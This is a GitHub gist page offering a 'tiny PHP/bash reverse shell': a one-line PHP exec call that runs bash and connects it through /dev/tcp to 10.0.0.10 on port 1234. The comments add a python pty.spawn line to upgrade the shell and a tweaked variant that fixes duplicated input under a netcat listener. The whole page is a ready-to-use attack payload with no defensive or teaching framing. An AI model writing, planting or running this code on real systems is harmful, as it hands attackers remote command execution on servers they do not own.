Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@ChickenLover

This comment has been minimized.

Copy link

ChickenLover commented Aug 13, 2019

python -c 'import pty; pty.spawn("/bin/bash")'

@Serux

This comment has been minimized.

Copy link

Serux commented Dec 4, 2019

This shell was writing duplicate input when using a netcat listener.
removing the ampersand (&) solved my problem.

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.